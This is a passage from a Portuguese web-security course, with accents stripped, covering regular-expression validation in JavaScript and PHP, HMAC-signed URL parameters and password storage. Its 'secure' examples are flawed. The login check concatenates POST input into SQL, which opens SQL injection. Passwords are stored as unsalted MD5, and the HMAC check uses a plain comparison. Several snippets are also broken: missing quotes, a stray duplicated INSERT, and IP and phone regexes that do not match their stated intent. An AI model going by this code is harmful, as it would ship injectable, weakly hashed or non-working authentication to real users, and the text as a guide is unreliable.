^ $ [] . {} .* | ? * + [^] [-] \ Incio da linha Fim da linha Todo caractere quer pode aparecer em uma determinada posio Qualquer letra Com um nmero indica a quantidade de repeties de um caractere Funciona como um AND lgico unindo duas pesquisas Funciona como um OR lgico unindo duas pesquisas Opcional, podendo aparecer ou no Pode aparecer em qualquer quantidade Deve aparecer no mnimo uma vez Lista em negao Lista em intervalo Para carter que normalmente so tratados literalmente, indica que o prximo caractere especial e no deve ser interpretado literalmente. Por exemplo, /b/ indica o caractere 'b'. Colocando um contra barra em frente a b que est usando /\b/, o caractere fica especial para significar um limite da palavra. -ouPara caracteres que normalmente so tratados especialmente, indica que o prximo carter no especial e deveria ser interpretado literalmente. Por exemplo, * um caractere especial que significa 0 ou mais ocorrncias do carter precedendo; por exemplo, /a*/ indica 0 ou mais a's. emparelhados literalmente, preceda a isto com um contra barra; por exemplo, /a\*/ e agora significa 'a*' emparelhados. ^ Seqncias que comeam a linha. Se a flag de multiline setada como true, tambm caracteriza imediatamente a seqncia aps a quebra de linha. Por exemplo, /^A/ no afeta o 'A' em "a A", mas afeta o primeiro 'A' em "A a." $ Afeta o final da linha. Se a flag de multiline est ativada, tambm afetar imediatamente todas as linhas de um texto. Por exemplo, /t$/ no afetar o 't' in "eater", mas afetar em "eat". * Afeta o item que o precede repetindo-o 0 ou mais vezes. Por exemplo, /bo*/ afeta 'boooo' em "A ghost booooed" e 'b' em "A bird warbled", mas no em "A goat grunted". + Afeta o item que o precede repetindo-o 1 ou mais vezes. Equivale a {1,}. Por exemplo, /a+/ afeta o 'a' in "candy" e todos os a's em "caaaaaaandy". ? Afeta o item que o precede repetindo-o 0 ou 1 vez. Por exemplo, /e?le?/ afeta o 'el' em "angel" e o 'le' em "angle." Se for usado imediatamente depois de qualquer qualificador *, +, ?, ou {}, transforma o qualificador em modo de sempre selecionar o mnimo, do contrrio do default, que seleciona

sempre o nmero mximo de repeties. . Afeta qualquer caractere nico exceto o de newline. Pro exemplo, /n/ afeta 'an' e 'on' em "nay, an apple is on the tree", mas no em 'nay'. (x) Afeta o 'x' e relembra da seleo. So chamados de parnteses de captura. Por exemplo, /(foo)/ afeta 'foo' em "foo bar." A substring afetada pode ser capturada como resultado de um array de elementos [1], ..., [n] ou de uma propriedade do objeto RegExp ($1, ..., $9). (?:x) x(?=y) Afeta o 'x' mas no guarda a seleo. So chamados de non-capturing parentheses. A substring no pode ser capturada. Afeta o 'x' apenas se 'x' for seguido de 'y'. Por exemplo, /Jack(?=Sprat)/ afeta 'Jack' apenas se for seguido de um 'Sprat'. /Jack(?=Sprat|Frost)/ afeta 'Jack' apenas se for seguido de um 'Sprat' ou 'Frost'. Porm, nenhum 'Sprat' ou 'Frost' parte do resultado. Afeta o 'x' apenas se 'x' no for seguido por um 'y'. Por exemplo, /\d+(?!\.)/ afeta um nmero apenas se ele no for seguido de um ponto decimal. /\d+(?!\.)/.exec("3.141") afeta 141 mas no 3.141. x|y Afeta qualquer 'x' ou 'y'. Por exemplo, /green|red/ afeta 'green' em "green apple" e 'red' em "red apple." {n} Onde n um nmero inteiro positivo. Afetam exatamente n ocorrncias do item que o precede. Por exemplo, /a{2}/ no afeta o 'a' em "candy," mas afeta todos os a's em "caandy," e os primeiros dois em "caaandy." {n,} Onde n um nmero inteiro positivo. Afetam no mnimo n ocorrncias do item que o precede. Por exemplo, /a{2,} no afeta o 'a' em "candy", mas afeta todos os a's em "caandy" e em "caaaaaaandy." {n,m} Onde n e m so nmeros inteiros positivos. Afeta no mnimo n e no mximo m ocorrncia do item precedido. Por exemplo, /a{1,3}/ afeta nada em "cndy", o 'a' em "candy," os primeiros dois a's em "caandy," e os primeiros trs em "caaaaaaandy". [xyz] Um conjunto de caracteres. Funciona para qualquer um dos caracteres includos. Voc pode especificar um range de caracteres usando o enfim. Por exemplo, [abcd] o mesmo que [a-d]. [^xyz] Um complemento do conjunto de caracteres. Funciona para qualquer um dos caracteres no includos. Voc pode especificar um range de caracteres usando o hfen. Por exemplo, [^abcd] o mesmo que [^a-d]. [\b] \b Afeta um backspace. (No deve ser confudido com o \b.) Afeta uma word boundary, como um espao. Por exemplo, /\bn\w/ afeta o 'no' em "noonday"; /\wy\b/ afeta o 'ly' em "possibly yesterday." \B Afeta um non-word boundary. Por exemplo, /\w\Bn/ afeta 'on' em "noonday", e /y\B\w/ afeta 'ye' em "possibly yesterday." \cX Onde X uma letra de A Z. Afeta o caractere de controle de uma string. Por exemplo, /\cM/ afeta o controle-M na string.

x(?!y)

\d

Representa um caractere numrico. Equivalente a [0-9]. Por exemplo, /\d/ or /[0-9]/ afeta '2' em "B2 is the suite number."

\D

Representa qualquer character que no seja numrico. Equivalente a [^0-9]. Por exemplo, /\D/ ou /[^0-9]/ afeta o 'B' em "B2 is the suite number."

\f \n \r \s

Afeta o form-feed. Afeta o linefeed. Afeta o carriage return. Afeta o caractere de espao, \f\n\r\t\u00A0\u2028\u2029]. tab, form feed, line feed. Equivale a [

Por exemplo, /\s\w*/ afeta ' bar' em "foo bar." \S \t \v \w O oposto do \s. Equivale a [^ \f\n\r\t\u00A0\u2028\u2029]. Representa o tab. Representa um tab vertical. Afeta qualquer caractere alfanumrico incluindo o underscore. Equivale a [A-Za-z0-9_]. Por exemplo, /\w/ afeta 'a' em "apple," '5' em "$5.28," e '3' em "3D." \W \n Oposto ao \w. Equivale a [^A-Za-z0-9_]. Onde n um nmero inteiro positivo. Nmero de ocorrncias da ltima substring. Por exemplo, /apple(,)\sorange\1/ afeta 'apple, orange,' em "apple, orange, cherry, peach." \0 Representa um character NUL.

Em JavaScript, uma expresso regular delimitada por uma barra / inicial e outra final. Cada expresso de validao sempre comea com ^ (incio de linha) e termina com $ (fim de linha), para garantir que ser abrangido o contedo inteiro do texto a ser validado. Exemplos de cdigos para verificao de inputs em javascript: Dgitos Inteiros: reDigits = /^\d+$/; Dgitos de Ponto Flutuante: reDecimal= /^[+-]?((\d+|\d{1,3}(\.\d{3})+)(\,\d*)?|\,\d+)$/; Moeda: reMoeda = /^\d{1,3}(\.\d{3})*\,\d{2}$/; Data: reData= /^((0[1-9]|[12]\d)\/(0[1-9]|1[0-2])|30\/(0[13-9]|1[0-2]) |31\/(0[13578]|1[02]))\/\d{4}$/; Hora: reTime = /^([0-1]\d|2[0-3]):[0-5]\d$/;

Nmero de CPF:

reCpf=/^\d{3}\.?\d{3}\.?\d{3}\-?\d{2}$/;
Nmero IP:

reIP=/^\d{3}.\d{3}.\d{3}.\d{3}$/;
Endereo de email: reEmail = /^[\w-]+(\.[\w-]+)*@(([A-Za-z\d][A-Za-z\d-]{0,61}[A-Za-z\d]\.)+ [A-Za-z]{2,6}|\[\d{1,3}(\.\d{1,3}){3}\])$/; Depois de feita a expresso regular, deve-se criar uma funo de validao da seguinte forma: <script> function ehDoTipo(Campo) { var reTipo = /^...$/; // Onde ... a expresso regular apropriada return reTipo.test(Campo); } </script> Exemplo: A funo abaixo serve para validar um campo que possua nmeros inteiros: <script> function ehNumero(Campo) { Var reDigits = /^\d+$/; return reDigits .test(Campo); } </script>

3.2. Validao PHP PHP [Gutmans] tambm aceita Expresses Regulares para validao e/ou casamento de strings. Deve-se utilizar a funo preg_match() com as regras das tabelas 2 e 3 para poder criar novas ERs.

Tabela 2. Relao de comandos que podem ser utilizados para criar as regras de uma ER em PHP: \d \D \w \W \s \S . Dgitos 0-9 Tudo que no for dgito Qualquer caractere alfanumrico e o underscore Negao do anterior Qualquer espao em branco Negao do anterior Qualquer caractere, exceto o newline

Apesar de j ser muito, ainda necessrio fazer operaes em cima desses metacaracteres. O PHP oferece alguns operadores:
Tabela 3. Relao de operadores que podem ser utilizados para criar as regras de uma ER em PHP: ? * + {,n} {m,} {m,n} Ocorre 0 ou 1 vez Ocorrem 0 ou mais vezes Ocorrem 1 ou mais vezes Ocorrem at n vezes Ocorrem m ou mais vezes Ocorrem no mnimo m e no mximo n vezes

O primeiro argumento o padro que voc criou e o segundo argumento a string que deseja comparar. Existem tambm os operadores posicionais. O ^ que aponta para o incio das linhas e o $ que aponta para o final delas. Voc tambm pode criar o seu prprio conjunto de caracteres com os colchetes []. Exemplo: Digamos que voc queira saber se o dado que voc est tratando um telefone da Oi. A expresso regular ficaria assim: ^/[8]\d{3}-\d{4}/$ O telefone deve comear pelo nmero 8 com mais 3 dgitos e mais quatro dgitos logo depois do hfem. natural tambm voc desejar recuperar partes de uma string usando um padro criado como expresso regular. Para isso, voc precisar passar um terceiro parmetro para a funo preg_match(). Ele ser preenchido com um array de valores que esto associados ao padro da expresso regular que voc criou e que foram selecionados por parnteses.

Exemplo: $string = My zipcode is 21797-2046; If ( preg_match(/(\d{5})-(\d{4})/, $string, $matches) ) { print_r($matches); } Isso retornar: Array ([0] => 21797-2046 [1] => 21797 [2] => 2046) A funo preg_match() captura apenas a primeira ocorrncia do padro especificado na expresso regular. Se voc desejar capturar todas as outras ocorrncias, precisar usar a funo preg_match_all(). 3.3. Verificao HMAC Essa verificao feita para evitar que hackers modifiquem os valores das variveis passadas atravs do mtodo GET(query strings), quando so feitos redirecionamentos, ou links. Exemplo 1: Ataque que modifica o contedo de uma varivel na URL

Figura 11. Verificao HMAC

Imagine um site como o acima. Se o nome de uma pessoa for clicado, uma determinada ao executada.E ser gerado um link como esse: http://localhost/php/pagina2.php?id=3&acao=4 O problema neste tipo de abordagem, que uma pessoa pode modificar as variveis id e acao, ocasionando o mau funcionamento do site. Para corrigir a esse tipo de problema, foi criada a verificao HMAC, que nada mais , do que se computar o Hash das variveis passadas atravs da url concatenadas com uma palavra secreta, e enviar esse Hash junto na URL, de modo que se a pessoa alterar o valor das variveis ou do Hash,

ser possvel ao desenvolvedor gerar um mensagem de erro e abortar a execuo do programa. Protocolo HMAC : A classe CryptHmac implementa o algoritmo HMAC [Niederauer] como descrito na [RFC2104]: <?php class CryptHmac{ function CryptHmac($key,$method='md5'){ if(!in_array($method,array('sha1','md5'))){ die('hash no suportado'); } $this->_func=$method; if(strlen($key)>64){ $key=pack('H32',$method($key)); } if(strlen($key)<64){ $key=str_pad($key,64, chr(0)); } $this->_ipad=substr($key,0,64)^str_repeat(chr(0x36),64); $this->_opad=substr($key,0,64)^str_repeat(chr(0x5C),64); } function hash($data){ $func=$this->_func; $inner=pack('H32',$func($this->_ipad.$data)); $digest=$func($this->_opad.$inner); return $digest; } } ?> Funo que implementa os Links com os Hashs HMAC

A funo abaixo utiliza a classe CryptHmac para gerar url seguras. <?php require_once('crypt_Hmac.php'); define('CHAVE','Minha terra tem palmeiras onde canta o sabia'); function criarGets($array){ $data=''; $ret=array(); foreach($array as $key => $value){ $data .=$key.$value; $ret[]="$key=$value"; } $h= new CryptHmac(CHAVE,'md5'); $hash=$h->hash($data); $ret[]="hash=$hash"; return join('&amp;',$ret); } echo "<a href=\"pegarGets.php?".criarGets(array('id' => 5, 'acao' =>'apagar'))."\">Pessoa</a>"; ?> nessa etapa que escolhida uma senha e so gerados os links. Funo que testa se as variveis GETs foram alteradas A funo abaixo utiliza a classe CryptHmac para testar se as urls forma alteradas: <?php require_once('crypt_Hmac.php'); define('CHAVE','Minha terra tem palmeiras onde canta o sabia'); function pegarGets($array){ $data=''; $ret=array();

$hash=$array['hash']; unset ($array['hash']); foreach($array as $key => $value){ $data .=$key.$value; $ret[]="$key=$value"; } $h= new CryptHmac(CHAVE,'md5'); if($hash != $h->hash($data)){ return false; }else{ return true; } } if(pegarGets($_GET)){ echo "Ok"; }else{ echo "Voc alterou as variveis"; } ?> Para testar se as variveis passadas pelo mtodo GET foram alteradas, basta chamar a funo pegarGets passando como entrada o array super global GET. 3.4. Como armazenar senhas no banco de dados No se deve armazernar senhas no criptografadas em bancos de dados, visto que se um hacker ganhar acesso a um banco, ele conseguir obter o login e as senhas de todos os usurios cadastrados. Uma possvel soluo para esse problema, o armazenamento do hash da senha, ao invs da prpria senha, e pode ser feito como abaixo: Primeiramente escolhe-se qual a funo de hash ser usada, se sha1 ou md5, a seguir o login e o hash da senha so cadastrados no banco, como mostrado abaixo:

<?php $login=user1; $senha=apple; //retira-se o md5 ou sha1 da senha $senha=md5($senha); //no banco cadastrada o hash da senha $sql=INSERT INTO LOGAR(login,senha)VALUES($login,senha); $rs=mysql_query($sql); ?> Para validar se existe um usurio com o login o senha enviados faz-se o seguinte: <?php //recebe-se o login e senha do usurio $login=$_POST[login]; // o usurio entra com a prpria senha $senha=$_POST[senha]; //retira-se o md5 ou sha1 da senha recebida $senha=md5($senha); //checa-se se existe esse usurio no banco $sql="select * from base.tabela where login='$login' and senha='$senha' "; $rs=@mysql_query($sql); $total=@mysql_num_rows($rs); $sql=INSERT INTO LOGAR(login,senha)VALUES($login,senha); $rs=mysql_query($sql); ?> A figura abaixo mostra dois banco de dados, na figura12.a a senha armazenada normalmente, na figura 12.b armazenado o MD5 da senha.

Figura 12. Dois modelos para armazenamento de senhas em um Banco de Dados

4. Consideraes Finais
Nesse curso, foram demonstrados vrios tipos de ataques a pginas Webs. Todas essas estratgias no devem ser utilizadas para prejudicar a sites de terceiros, muito pelo contrrio, elas visam dar conhecimento aos desenvolvedores de sites, para que esses possam construir pginas mais robustas e menos vulnerveis. Alm disso, para se garantir uma maior segurana, deve-se sempre visistar as pginas dos PHP [PHP], da Apache Foundation [Apache] e do PHP Security Consortion [PHPs] em busca de novas atualizaes e patches de segurana. Outro ponto crucial, alertar aos usurios sobre a criao e manuteno das senhas, atualizao de anti-vrus e navegadores, pois no adiantar criar um site super seguro, se o usurio tem uma mquina infectada. Afinal, a maioria dos ataques no ocorrem por arrombamento, mas porque deixamos a porta aberta.

5. Referncias
[Apache] http://www.apache.org/ [diffie76new] Diffie, W e Hellman, W - New Directions in Cryptography -IEEE Transactions on Information Theory, pages 644-654, November 1976 [Flanagan ] Flanagan, D. - Javascript - O Guia Definitivo. Bookman CIA, 4 Edio 2004. [Foster] Foster, J. - Writing Security Tools and Exploits, Syngress Publishing, 1 Edio, 2005. [Gutmans] Gutmans, A., Bakken, S. e Rethans, D. PHP 5 Programao Poderosa, Alta Books, 1 edio, 2005. [Goldwasser] Goldwasser, S. e Bellare , M.. Lectures Notes on Cryptography, http://www-cse.ucsd.edu/users/mihir/papers/gb.pdf, 2001. [Hoglund] Hoglund, G. e McGraw, G. - Exploiting Software : How to Break Code. Addison-Wesley Professional, 2004. [Marcondes] Marcondes,C.A. -HTML 4.0 Fundamental, A Base da Programao para Web, Erica, 1 Edio, 2005

[Niederauer] Niederauer, J. PHP para quem conhece PHP, Novatec, 2 edio 2005 [Park] Park, J. e Converse, T.- PHP - A Bblia, Campus, 2 Edio - 2003. [Pinkas] Pinkas, B. and Sander, T. Securing passwords against dictionary attacks. In Proceedings of the ACM Computer and Security Conference (CCS 02), ACM Press, 161170. [PHP] http://www.php.net [PHPs] http://phpsec.org/ [RFC1321] http://www.ietf.org/rfc/rfc1321.txt [RFC3174] http://tools.ietf.org/html/rfc3174 [RFC2104] http://rfc.net/rfc2104.html [RFC2246] http://tools.ietf.org/html/rfc2246 [RFC2616] http://www.faqs.org/rfcs/rfc2616.html [RFC2660] http://www.apps.ietf.org/rfc/rfc2660.html [Turing] Turing, A.M. Computing machinery and intelligence. Mind 59, 236 (1950), 433460.

Vous aimerez peut-être aussi